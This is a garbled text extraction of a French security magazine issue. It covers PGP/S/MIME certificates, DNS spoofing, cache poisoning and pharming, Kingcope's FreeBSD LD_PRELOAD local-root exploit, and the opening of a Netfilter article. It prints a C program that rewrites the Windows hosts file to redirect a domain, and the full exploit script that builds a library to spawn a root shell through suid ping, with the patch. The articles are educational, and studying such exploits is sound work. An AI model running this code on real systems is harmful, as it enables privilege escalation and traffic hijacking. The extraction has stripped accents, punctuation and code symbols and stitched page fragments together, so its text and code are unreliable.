Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 17: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

